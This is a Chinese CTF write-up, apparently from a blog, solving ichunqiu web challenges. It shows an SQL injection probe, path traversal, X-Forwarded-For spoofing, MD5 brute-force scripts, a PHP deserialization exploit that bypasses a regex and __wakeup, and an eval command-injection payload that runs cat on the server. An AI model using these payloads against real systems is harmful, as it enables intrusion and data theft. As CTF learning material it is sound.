


```

import requests
//requests库是一个常用的用于http请求的模块
import base64
import sys
//该模块提供对解释器使用或维护的一些变量的访问，以及与解释器强烈交互的函数
import hashlib
//主要提供 SHA1, SHA224, SHA256, SHA384, SHA512 , MD5 算法

def getMd5(index):
for i in range(100000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:6] == index:
return x;
print(getMd5("e7e24a"))

```

得出验证码

```

$ python3 2.py
5600908

```

观察源码，没有发现什么线索，尝试一下SQL注入

```
or 1=1#
```


不安全 | f63f22a487e24499a64f3bb05bf5b9cefc34521259d2

TF解题好的网站 CTF刷题网站 大佬博客 SQL注入学习博客

1. [hello.txt](#)
2. [s.txt](#)
3. [a.php](#)

https://blog.csdn.net/qq_43431158

把文件下载下来



其中两个txt文件没有什么用处，有用的就是那一个php文件

```
flag is in the web root dir
```

这句话提示 `flag` 在 `web` 根目录，抓包看看

The image shows a network traffic capture with two panels: 'request' and 'response'.
Request panel: GET /Challenges/action.php?action=file HTTP/1.1
Host: f63f22a487e24499a64f3bb05bf5b9cfc34521259d246b7.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bf; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1563002377,1563590183,1563876165,156406855; PHPSESSID=m36h3f9no1up41phidn98jac62; __jsluid_h=fb961d5817a00ee886bafa74ab6666da
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Response panel: HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 01:37:28 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Via-JSL: 0c54802,-
X-Cache: bypass
Content-Length: 772
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">

发现并没有什么线索，点击超链接再抓包试试，发现 `GET` 处是文件id查询的形式，所以这里应该就可以从这里查看到根目录文件


The image shows a network traffic capture with a 'request' panel.
Request panel: GET /Challenges/file/download.php?f=a.php HTTP/1.1
Host: f63f22a487e24499a64f3bb05bf5b9cfc34521259d246b7.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://f63f22a487e24499a64f3bb05bf5b9cfc34521259d246b7.changame.ichunqiu.com/Challenges/action.php?action=file
Cookie: UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bf; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1563002377,1563590183,1563876165,156406855; PHPSESSID=m36h3f9no1up41phidn98jac62; __jsluid_h=fb961d5817a00ee886bafa74ab6666da
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

改成 `flag.php` 没用，但改成 `./flag.php` 有反应

The image shows a network traffic capture with a 'response' panel.
Response panel: HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 01:41:12 GMT
Content-Type: text/html
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Via-JSL: 6c1501f,-
X-Cache: bypass
Content-Length: 24
flag{wow!!!but not true}

以为这样就可以得出 `flag`，结果是我想多了，不管试多少个 `./././` 都无用，所以不能用目录缩写来跳过，只能输入正确的根目录

利用 **CONNECT** 请求方式，查看是什么服务器



Linux服务器，那就用常用的web根目录试下

```
var/www/html
```

输入 **/var/www/html/flag.php** 什么也没有显示



试下 **/var/www/html/Challenges/flag.php** 发现有源码出现(注释是自己添加的)



这段代码涉及了 **try...catch** 抛出异常，先执行 **try** 里面的语句，如果语句中有异常则执行 **catch** 语句，不过这段代码较为容易，我们只需满足 **\$spaceone === 'flag'** 即可，所以通过POST方式构造

```
flag=flag;
//加分号是因为eval() 函数把字符串按照 PHP 代码来计算
```

即可得出flag




https://blog.csdn.net/qq_43431158

fuzzing



there is nothing

什么也没有，抓包看看有什么线索吧



https://blog.csdn.net/qq_43431158

发现一句提示 **提示：IP，大型内部网络**，百度查询大型内部网络，A类IP地址都是用于大型网络，在百度百科上查到使用范围

使用范围

从 1.0.0.1 到 128.255.255.254 的单址广播 IP 地址（192.0.0.1 是环回测试用的固定的特殊 IP）

从 1.0.0.1 到 128.255.255.254 的半组 / 播 IP 地址。(127.0.0.1 是坏回测试用的固定的特殊IP)

10.0.0.0到10.255.255.255是私有地址

一个A类网络可提供的主机地址为16777214个，也就是 $2^{24}-2$ 个【这里减2的原因是主机地址全0表示“本主机”所连接3个网络地址，而全1表示“所有”，即该网络上所有主机】。

IP地址空间共有 2^{32} 个，整个A类地址共有 2^{31} 个，占整个IP地址空间的50%。

A类地址默认子网掩码为255.0.0.0

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IP地址伪造

伪造IP地址，修改 X-Forwarded-For 的值，修改过后，发现

request

Raw Params Headers Hex

```
GET /Challenges/test.php HTTP/1.1
Host: 822789c92eb24d5fb84a5a79fb4a306c0bea746bbf634436.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bf;
Hm_lvt_2d0601bd28de7d49818249cf35d95943=1563002377,1563590183,1563876165,1565406885;
__jsluid_h=474db9bf282082980f8805583ed54691
X-Forwarded-For: 10.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
```

response

Raw Headers Hex

```
HTTP/1.1 302 Found
Date: Thu, 26 Sep 2019 11:34:48 GMT
Content-Type: text/html
Connection: close
Location: ./m4nage.php
X-Via-JSL: 60f725,-
X-Cache: bypass
Content-Length: 0
```

https://blog.csdn.net/qq_43431158

打开看看有什么

request

Raw Params Headers Hex

```
GET /Challenges/./m4nage.php HTTP/1.1
Host: 822789c92eb24d5fb84a5a79fb4a306c0bea746bbf634436.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bf;
Hm_lvt_2d0601bd28de7d49818249cf35d95943=1563002377,1563590183,1563876165,1565406885;
__jsluid_h=474db9bf282082980f8805583ed54691
X-Forwarded-For: 10.255.255.255
Connection: close
Upgrade-Insecure-Requests: 1
```

response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 10:58:27 GMT
Content-Type: text/html
Connection: close
X-Via-JSL: 6da694a,-
X-Cache: bypass
Content-Length: 16
```

show me your key

https://blog.csdn.net/qq_43431158

show your key 一开始到这里没思路了，看了大师傅的博客才知道这里 key 是参数。。。以为像之前一样的id爆破，结果不是。

那就改变请求方式，以 **POST** 方式请求

Raw	Params	Headers	Hex
POST /Challenges/.m4nage.php HTTP/1.1 Host: 822789c92eb24d5fb84a5a79fb4a306c0bea746bbf634436.changame.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bf; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1563002377,1563590183,1563876165,1565406855; __jsluid_h=474db9bf282082980f8805583ed54691 X-Forwarded-For: 10.255.255.255 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5			
key=1 https://blog.csdn.net/cq_43431158			

发现一句话

```
key is not right,md5(key)=="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]
```

这句话讲的很清楚了，key后面的三位是从a-z或0-9选的，最后拼成MD5值为 **1b4167610ba3f2ac426a68488dbd89be**

那就写脚本来爆破吧

```
import hashlib

md5 = '1b4167610ba3f2ac426a68488dbd89be'
s = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in s:
    for j in s:
        for k in s:
            key = "ichunqiu"+i+j+k
            if(hashlib.md5(key.encode("utf8")).hexdigest() == md5):
                print(key)
```

得出key的值 **ichunqiu105**

再次请求，发现一个 `xx00xxoo.php` 文件

Request

Raw Params Headers Hex

```
POST /Challenges/m4nage.php HTTP/1.1
Host: 822789c92eb24d5fb84a5a79fb4a306c0bea746bbf634436.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bfb; Hm_lvt_2d0601bd28de7d49818249c35d95943=1563002377,1563590183,1563876165,1565406855; __jsluid_h=474db9b282082980f805583ed54691
X-Forwarded-For: 10.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

key=ichunqiu105
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 11:48:38 GMT
Content-Type: text/html
Connection: close
X-Via-JSL: 1fdb010,-
X-Cache: bypass
Content-Length: 27

the next step: xx00xxoo.php
```

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访问后得到一段文字

```
source code is in the x0.txt.Can you guess the key
the authcode(flag) is 06e16LKT9I7Lnahh402yiytEdV1Bq9mMnFay+x7DDf+HUMY3/s7Ktyx5GUjCc/6zWsuj9wUp6ZPbt//yGWw7IIlMaf/IAo
```

提示说源码在 `x0.txt` 中，那就来看一下

```
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[$a] + $box[$j]) % 256);
    }

    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}
```

刚得到一脸懵，不会这么长的代码吧，仔细观察便发现代码中并未包含有flag，而且这段代码就是一个解密函数，再加上提示的

the authcode(flag) is

```
5371AysJMuHkb9xTZSJegnyFbeNV5o5hqadMgEoJC6MH8KLmyr6Ys4ob4ILGkI5qcGo/WE1bG
J2IQnh6PMP7L2f1fqp8sLw
```

我们直接调用函数解密输出即可得出flag

```
echo authcode($string='5371AysJMuHkb9xTZSJegnyFbeNV5o5hqadMgEoJC6MH8KLmyr6Ys4ob4ILGkl5qcGo/WE1bGJ2lQnh6PMP7L2f1fqp8sLw',$operation = 'DECODE',$key = 'ichunqiu105');
```

```
25 ~ for ($j = $i = 0; $i < 256; $i++) {
26     $j = ($j + $box[$i] + $rndkey[$i]) % 256;
27     $tmp = $box[$i];
28     $box[$i] = $box[$j];
29     $box[$j] = $tmp;
30 }
31
32 ~ for ($a = $j = $i = 0; $i < $string_length; $i++) {
33     $a = ($a + 1) % 256;
34     $j = ($j + $box[$a]) % 256;
35     $tmp = $box[$a];
36     $box[$a] = $box[$j];
37     $box[$j] = $tmp;
38     $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
39 }
40
41 ~ if ($operation == 'DECODE') {
42     if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($
43         return substr($result, 26);
44     } else {
45         return '';
46     }
47 } else {
48     return $keyc . str_replace('=', '', base64_encode($result));
49 }
50
51 }
52 echo authcode($string='5371AysJMuHkb9xTZSJegnyFbeNV5o5hqadMgEoJC6MH8KLmyr6Ys4ob4ILGkl5qcGo/w
53
54 ?>
```

flag{05fb7109-998e-4a99-87f1-db25e08b932b}

https://blog.csdn.net/qq_43431158

这个题目。。。一开始还以为是模糊测试，结果不是。。。

Hash

[hahaha](#)

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进行抓包，看看有什么线索

发现一段话

```
you are 123;if you are not 123,you can get the flag
<!--$hash= md5( sign.$key);the length of $sign is 8
```

hash 的值是由8位的 sign 和 key 组成的，提示说只要不是123，就可以得到flag,那我们将key改为124，提交但是 hash 值不正确

所以我们需要先求出来 sign 的值，然后再和我们所设的 124 连在一起求MD5即可

在线MD5解一开始的hash值

输入让你无语的MD5

f9109d5f83921a551cf859f853afe7bb

解密

md5

kkkkkk01123

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还真查到了，一直以为需要写脚本给跑出来，那sign的值便是 kkkkkk01，结合124，在线MD5加密，提交即可

Request

Raw Params Headers Hex

```
GET /index.php?key=124&hash=77dab7fc0322d9b23ccd62e95a065ba HTTP/1.1
Host: 70de66964c684d2f9e34762f5b296d05396e7fc8a098466b.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://70de66964c684d2f9e34762f5b296d05396e7fc8a098466b.changame.ichunqiu.com/
Cookie: UM_distinctid=16bea33905e382-0fa418e0bc4a45-1369634a-144000-16bea33906b3bf;
Hm_lvt_2d0601bd28de7d49818249cf35d95943=1563002377,1563590183,1563876165,1565406855;
__jsluid_h=9340548c42e6fe1d086ba687a7f4680
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Fri, 27 Sep 2019 03:19:50 GMT
Content-Type: text/html
Connection: close
X-Via-JSL: 9b0c26b,-
X-Cache: bypass
Content-Length: 30
next step is Gu3ss_m3_h2h2.php
```

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又得到一个线索，访问一下，发现源码

```
<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) { //在每次创建新对象时先调用此
        $this->file = $file;
    }

    function __destruct() { //__destruct() - 对象的所有引用都被删
        echo @highlight_file($this->file, true);
    }

    function __wakeup() { //unserialize() 会检查是否存在一个 __wakeup
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the fl5g_ls_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:[i]', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
}
```

```
}  
} else {  
    highlight_file("Gu3ss_m3_h2h2.php");  
}  
?>
```

https://blog.csdn.net/qq_43431158

那接下来就来审计代码

一个Demo类，有三个魔法函数，简单介绍一下

```
__construct  
在每次创建新对象时先调用此方法  
__destruct  
对象的所有引用都被删除或者当对象被显式销毁时执行  
__wakeup  
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法
```

下面 if 语句判断是否存在 GET 方式进入的 var, 如果满足匹配的正则表达式，则回显 STOP，否则则进行反序列化，在反序列化之前，先调用 __wakeup 魔法函数，如果指向的 file 不是 Gu3ss_m3_h2h2.php，则会强制指向 Gu3ss_m3_h2h2.php

审计完代码，思路也就很清晰了，提示说秘密在 f15g_1s_here.php，根据这串代码，我们需要将 f15g_1s_here.php 先序列化，最后让源码解开，其中还必须绕过正则表达式和 __wakeup 的检查，才可以成功

模仿大师傅的脚本

```
<?php  
class Demo {  
    private $file = 'Gu3ss_m3_h2h2.php';  
    public function __construct($file) {  
        $this->file = $file;  
    }  
    function __destruct() {  
        echo @highlight_file($this->file, true);  
    }  
    function __wakeup() {  
        if ($this->file != 'Gu3ss_m3_h2h2.php') {  
            //the secret is in the f15g_1s_here.php  
            $this->file = 'Gu3ss_m3_h2h2.php';  
        }  
    }  
}  
$a = new Demo('f15g_1s_here.php');  
$s = serialize($a);echo $s;echo '<br>';  
$s = str_replace('O:4', 'O:+4', $s); //绕过正则  
$s = str_replace(':1:', ':2:', $s); //绕过wakeup函数  
echo base64_encode($s); //最后base64编码  
?>
```

简单解释一下 `$s = str_replace('O:4', 'O:+4', $s);` 能绕过正则表达式

因为在源码中 `[oc]` 会任意匹配其中的一个字符，正则表达式中有模式修正符 `i, i 不区分(ignore)大小写`；例如: `/abc/i` 可以匹配 `abc、aBC、Abc`，所以可以匹配到 `O`，`\d` 用来匹配数字，而我们构造 `O:+4` 则可以绕过这一匹配，从而让匹配不成功，绕过正则

之所以 `$s = str_replace(':1:', ':2:', $s);` 能绕过 `wakeup` 函数，是因为 `当成员属性数目大于实际数目时可绕过` 该函数

得出结果

还原到默认code

```
1 <?php
2 class Demo {
3     private $file = 'Gu3ss_m3_h2h2.php';
4     public function __construct($file) {
5         $this->file = $file;
6     }
7     function __destruct() {
8         echo @highlight_file($this->file, true);
9     }
10    function __wakeup() {
11        if ($this->file != 'Gu3ss_m3_h2h2.php') {
12            //the secret is in the f15g_1s_here.php
13            $this->file = 'Gu3ss_m3_h2h2.php';
14        }
15    }
16    $a = new Demo('f15g_1s_here.php');
17    $s = serialize($a);echo $s;echo '<br>';
18    $s = str_replace('0:4', '0:+4',$s);//绕过正则
19    $s = str_replace(':1:', ':2:', $s);//绕过wakeup函数
20    echo base64_encode($s);//最后base64编码
21 ?>
```

run (ctrl+x)

输入



分享当前代码

出现故障, 请使用这个[点击这里](#)

文本方式显示 html方式显示

O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
TzorNDoiRGVtbyl6Mjpw7czoxMDoiAERibW8AZmlsZSI7czoxNjoiZjE1Z18xc19cZXJlLnBocCI7fQ==

直接在URL将base64编码的值传进去, 又会发现一段源码

```
<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '");
} else {
    die('hahaha!');
}
//addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
?>
```

https://blog.csdn.net/qq_43431158

有 eval 函数, 但同时也有 addslashes 转义函数, addslashes 转义函数会转义 ' 和 ", 所以只能用反引号 ` , 构造payload:

```
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo`cat True_F1ag_i3_Here_233.php`;
```

← → ↻ 不安全 | 7b8718e2eb1a416aad5339e6be4c593124c44c7b63be410c.char

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Gu3ss_m3_h2h2.php True_F1ag_i3_Here_233.php f15g_1s_here.php index.php

查看flag即可

```
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo`cat True_F1ag_i3_Here_233.php`;
```

解释一下 \${}、反引号, 这里涉及到 命令代换

shell执行命令并将命令替换部分替换为执行该命令后的结果（先执行该命令，然后用结果代换到命令行中）

反引号和 `$()` 者两种命令的功能是相同的，在执行一条命令时，会将 `` 或者 `$()` 中的语句当做命令执行以便，再把结果加入到原命令中重新执行

[具体可以看大师傅的博客](#)

[命令代换](#)

好了，这次就先总结到这里，又学到不少知识，下次继续总结！



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